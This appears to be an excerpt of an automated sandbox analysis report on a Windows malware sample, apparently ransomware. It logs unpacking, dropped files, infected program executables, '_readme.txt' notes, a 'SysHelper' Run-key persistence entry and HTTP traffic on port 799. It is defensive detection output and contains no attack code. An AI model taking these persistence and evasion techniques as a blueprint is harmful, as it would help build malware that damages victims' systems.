Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000B.00000002.2094534233.0000000002310000.00000040.00001000.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3274539908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000E.00000002.2165749001.0000000002200000.00000040.00001000.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000F.00000002.2176111668.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000011.00000002.2255017517.0000000002360000.00000040.00001000.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000013.00000002.2265528714.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\40\ source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3212027046.000000000310D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\kunahicahe\37\tumuzuzit41 kitijab_hupi\xigu.pdb source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.3.dr
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\\w source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3277157967.000000000314B000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3263020682.0000000003163000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3262525405.000000000315A000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3261392632.0000000003157000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3214463283.000000000316F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\ source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3214463283.000000000316F000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.00000000006D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\ source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3277157967.000000000310A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\* source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3261286744.000000000318F000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3277157967.000000000314B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\40\*aibc source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3214463283.000000000316F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\o\ source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3278085385.000000000360B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000B.00000002.2094534233.0000000002310000.00000040.00001000.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3274539908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000E.00000002.2165749001.0000000002200000.00000040.00001000.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000F.00000002.2176111668.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000011.00000002.2255017517.0000000002360000.00000040.00001000.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000013.00000002.2265528714.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\@h source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3277157967.00000000030F1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\4C source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3277157967.000000000314B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\Z source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3261286744.000000000319C000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3277157967.000000000314B000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3263211500.000000000319B000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3261756122.000000000319C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3261286744.000000000319C000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3277157967.000000000314B000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3263211500.000000000319B000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3261756122.000000000319C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\! source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3261286744.000000000319C000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3263211500.000000000319B000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3261756122.000000000319C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\= source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3277157967.000000000310A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\PC source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3277157967.000000000314B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\~ source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3212027046.000000000310D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\\a\ source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3278085385.000000000360B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\sh\odct\1105_210049_0\client\onedrive\Setup\Standalone\exe\obj\i386\OneDriveSetup.pdb source: wctFE34.tmp.9.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Unpacked PE file: 1.2.VOsoyD.exe.b50000.0.unpack .text:EW;.rdata:W;.data:W;.reloc:W;.aspack:EW;.adata:EW; vs .text:ER;.rdata:R;.data:W;.reloc:R;.aspack:EW;.adata:EW;
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Unpacked PE file: 3.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; _su:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Unpacked PE file: 9.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; _su:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Unpacked PE file: 12.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; _su:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Unpacked PE file: 15.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; _su:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Unpacked PE file: 18.2.VOsoyD.exe.8d0000.0.unpack .text:EW;.rdata:W;.data:W;.reloc:W;.aspack:EW;.adata:EW; vs .text:ER;.rdata:R;.data:W;.reloc:R;.aspack:EW;.adata:EW;
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Unpacked PE file: 19.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; _su:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Unpacked PE file: 3.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Unpacked PE file: 9.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Unpacked PE file: 12.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Unpacked PE file: 15.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Unpacked PE file: 19.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Code function: 0_2_00416C00 LoadLibraryA,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,

0_2_00416C00

Source: initial sample

Static PE information: section where entry point is pointing to: _su

Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Static PE information: section name: _su
Source: VOsoyD.exe.0.dr	Static PE information: section name: .aspack
Source: VOsoyD.exe.0.dr	Static PE information: section name: .adata
Source: Uninstall.exe.1.dr	Static PE information: section name: EpNuZ
Source: MyProg.exe.1.dr	Static PE information: section name: PELIB
Source: MyProg.exe.1.dr	Static PE information: section name: Y\|uR
Source: SciTE.exe.1.dr	Static PE information: section name: u
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.3.dr	Static PE information: section name: _su

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_00408E52 push ecx; mov dword ptr [esp], 00000000h	0_2_00408E61
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_00408E80 push ecx; mov dword ptr [esp], 00000002h	0_2_00408E81
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_00408EB0 push ecx; mov dword ptr [esp], 00000000h	0_2_00408EB1
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_006A60AF push ecx; retf	0_2_006A60B2
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 0_2_022F8F05 push ecx; ret	0_2_022F8F18
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Code function: 1_2_00B51638 push dword ptr [00B53084h]; ret	1_2_00B5170E
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Code function: 1_2_00B56076 push 00B514E1h; ret	1_2_00B56425
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Code function: 1_2_00B52D9B push ecx; ret	1_2_00B52DAB
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Code function: 1_2_00B5600A push ebp; ret	1_2_00B5600D
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 3_2_00428565 push ecx; ret	3_2_00428578
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 5_2_022600AF push ecx; retf	5_2_022600B2
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 5_2_02318F05 push ecx; ret	5_2_02318F18
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0050D050 push eax; retn 004Dh	9_2_0050D6B5
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0050D008 push eax; retn 004Dh	9_2_0050D6B5
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0050D028 push eax; retn 004Dh	9_2_0050D6B5
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0050D090 push eax; retn 004Dh	9_2_0050D6B5
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0050D0A8 push eax; retn 004Dh	9_2_0050D6B5
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0050D318 push eax; retn 004Dh	9_2_0050D6B5
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0050C4E0 push eax; retn 004Dh	9_2_0050D6B5
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0050D550 push eax; retn 004Dh	9_2_0050D6B5
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_00428565 push ecx; ret	9_2_00428578
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0050D698 push eax; retn 004Dh	9_2_0050D6B5
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0050C960 push eax; retn 004Dh	9_2_0050D6B5
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0050C928 push eax; retn 004Dh	9_2_0050D6B5
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0050C988 push eax; retn 004Dh	9_2_0050D6B5
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0050C9A8 push eax; retn 004Dh	9_2_0050D6B5
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0050CB78 push eax; retn 004Dh	9_2_0050D6B5
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0050CD60 push eax; retn 004Dh	9_2_0050D6B5
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0050CDF0 push eax; retn 004Dh	9_2_0050D6B5
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0050CE58 push eax; retn 004Dh	9_2_0050D6B5
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0050CF28 push eax; retn 004Dh	9_2_0050D6B5

Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Static PE information: section name: _su entropy: 6.934629749130472
Source: VOsoyD.exe.0.dr	Static PE information: section name: .text entropy: 7.81169422100848
Source: Uninstall.exe.1.dr	Static PE information: section name: EpNuZ entropy: 6.932729687200447
Source: MyProg.exe.1.dr	Static PE information: section name: Y\|uR entropy: 6.934038823479533
Source: SciTE.exe.1.dr	Static PE information: section name: u entropy: 6.934472382148182
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.3.dr	Static PE information: section name: _su entropy: 6.934629749130472

Persistence and Installation Behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	System file written: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	System file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to behavior

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Temp\wctFE34.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Temp\wctFE34.tmp.wdlo (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	File created: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Temp\chrome.exe.wdlo (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	File created: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Temp\tmpD027.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\Local Settings\Temp\tmpD027.tmp.wdlo (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	File created: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to dropped file

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\$WinREAgent\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\$WinREAgent\Scratch\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	File created: C:\Users\user\_readme.txt	Jump to behavior

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 799

